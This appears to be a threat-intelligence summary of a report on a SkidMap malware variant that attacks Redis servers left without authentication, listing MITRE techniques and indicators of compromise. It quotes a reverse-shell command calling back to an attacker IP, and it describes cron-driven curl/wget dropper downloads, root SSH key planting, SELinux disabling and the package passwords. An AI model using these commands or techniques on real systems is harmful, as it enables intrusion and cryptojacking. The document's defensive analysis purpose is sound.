Honeypot Recon: New Variant of SkidMap Targeting Redis

A new and more dangerous variant of SkidMap was observed targeting unsecured Redis NO AUTH instances, featuring dual Linux infection paths (Debian/Ubuntu and RedHat/CentOS) and a sophisticated multi-stage payload chain including dropper delivery, backdoor installation, kernel modules, and a memory-resident miner. The campaign uses encrypted packages (gold, stream, euler), SSH backdoors, and cron-based C2 callbacks, complicating detection and remediation. #SkidMap #Redis #LinuxKernelModule #Cryptominer #Trustwave #SpiderLabs

Keypoints

  • Open Redis instances (NO AUTH) are targeted to initiate the infection.
  • Two main Linux infection paths are identified: Debian/Ubuntu and RedHat/CentOS, each with distinct infection options.
  • The Redis stage writes cron-driven tasks that download and execute a dropper script (b) from a remote host.

MITRE Techniques

  • [T1190] Exploit Public-Facing Application – The attack starts with an attempt to login to the unsecured Redis instance and set up variables that contain cron tasks hidden under a base64 string. – “The attack starts with an attempt to login to the unsecured Redis instance and set up variables that contain cron tasks hidden under a base64 string.”
  • [T1053.005] Cron – Cron runs a job every 10 minutes by alternating between ‘curl’ and ‘wget’ to download and execute the dropper script ‘b’. – “Cron runs a job every 10 minutes by alternating between ‘curl’ and ‘wget’ to download and execute the dropper script ‘b’.”
  • [T1098] SSH Authorized Keys – The malware adds SSH keys to root for persistent access. – “The following ssh keys in standard locations: ‘/root/.ssh/authoried_keys’ and ‘/root/.ssh/authoried_keys2’.”
  • [T1562.001] Impair Defenses – The malware checks SELinux status and disables it permanently. – “The next step is to check the status of SELinux, then disable it permanently: /usr/sbin/sestatus … /usr/sbin/setenforce disabled.”
  • [T1059.004] Unix Shell – A reverse shell is created via a cron-based call to a remote C2 server. – “The most interesting part is the highlighted line responsible for creating a reverse shell that will call back to the attackers’-controlled server (C2) every hour via TCP/8443 port: echo ‘bash -i >& /dev/tcp/69.30.221[.]154/8443 0>&1’ >> /etc/cron.hourly/prelink”
  • [T1027] Obfuscated/Compressed Files and Information – Encoded/encrypted payloads are decrypted and executed; passwords for encrypted packages are provided (Xo@2089@md, go@1992@ld). – “This stage … decrypts accordingly and initiates executing shell scripts, installing kernel modules, followed by placing other executable binaries. … The password for the ‘gold’ packages is ‘Xo@2089@md’. For the ‘jpeg’ variant, the password is ‘go@1992@ld’.”
  • [T1014] Rootkit – Discovery of hidden LKM rootkits in memory to hide activity. – “Static analysis of the memory dump confirmed two hidden malicious modules … Figure 17 – Hidden LKM rootkits.”
  • [T1016] System Network Configuration Discovery – Kernel modules monitor network traffic via Netfilter hooks. – “The task of this module is to monitor the network using Netfilter hooks.” (kmeminfo.ko)
  • [T1105] Ingress Tool Transfer – The bot downloads additional files from Canonical resources to support infection. – “Right after execution, the ‘bot’ downloads extra files. In the case of the Debian/Ubuntu variant, we observed connection to the official Canonical resources in order to download files required by the infection process.”
  • [T1012] Resource Development (Kernel Modules) – Kernel modules (mcpuinfo.ko, kmeminfo.ko) extend capabilities and enable persistence/stealth. – “Extracted Module – mcpuinfo.ko … Kernel Module – mzoneinfo.ko (?)”

Indicators of Compromise

  • [File Name] b, c, f – dropper script names observed during Redis stage – b, c, f
  • [Hash] MD5 – 000916c60b2ab828ba8cea914c308999 (for b, c, f); – SHA1 – 9970809e1dedce286888f7d25790b4dcca1e704b; – SHA256 – 969e10e4a61cc5f80c414259c4d90c74bcf43ccd5678910700bdc14cd60f9725
  • [File Name] gif – backdoor binary placed in /var/lib/gif
  • [Hash] MD5 – e23b3c7eb5d68e3cd43e9e61a3055fe8; – SHA1 – 940f45f8a5dfb16281a35cd8303cd98c1ab1fabd; – SHA256 – f77c4b704b20affdd737af44cabd3d7b56d8987924f2179137bbeef0e4be0367
  • [File Name] jpeg – variant of dropper/encapsulated payload (encrypted as described)
  • [Hash] MD5 – e23b3c7eb5d68e3cd43e9e61a3055fe8; – SHA1 – 940f45f8a5dfb16281a35cd8303cd98c1ab1fabd; – SHA256 – f77c4b704b20affdd737af44cabd3d7b56d8987924f2179137bbeef0e4be0367
  • [File Name] .miner – miner payload with MD5 44de739950eb4a8a3552b4e1987e8ec2; SHA1 0ae049aab363fb8d2e164150dffbafd332725e00; SHA256 9b81bad2111312e669697b69b9f121a1f9519da61cd5d37689e38381c1ffad28
  • [File Name] bot – bot ELF with MD5 49ad1db4b61bb1f23cdcaeb546c6d154; SHA1 47afaf89bb98705bb0b6eb2b14bdb8eaf84694fa; SHA256 1395201601e80b6f0733feb5bc6dee2d5d2b853fb157185486810457b329d712
  • [IP Address] 69.30.221.154 – C2 server contacted by the malware (reverse shell). – “every hour via TCP/8443 port” to this IP.
  • [Domain] z.shavsl.com – dropper/C2 host in the Redis stage (obfuscated in article). – “hxxp://z[.]shavsl[.]com/b”

Read more: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/honeypot-recon-new-variant-of-skidmap-targeting-redis/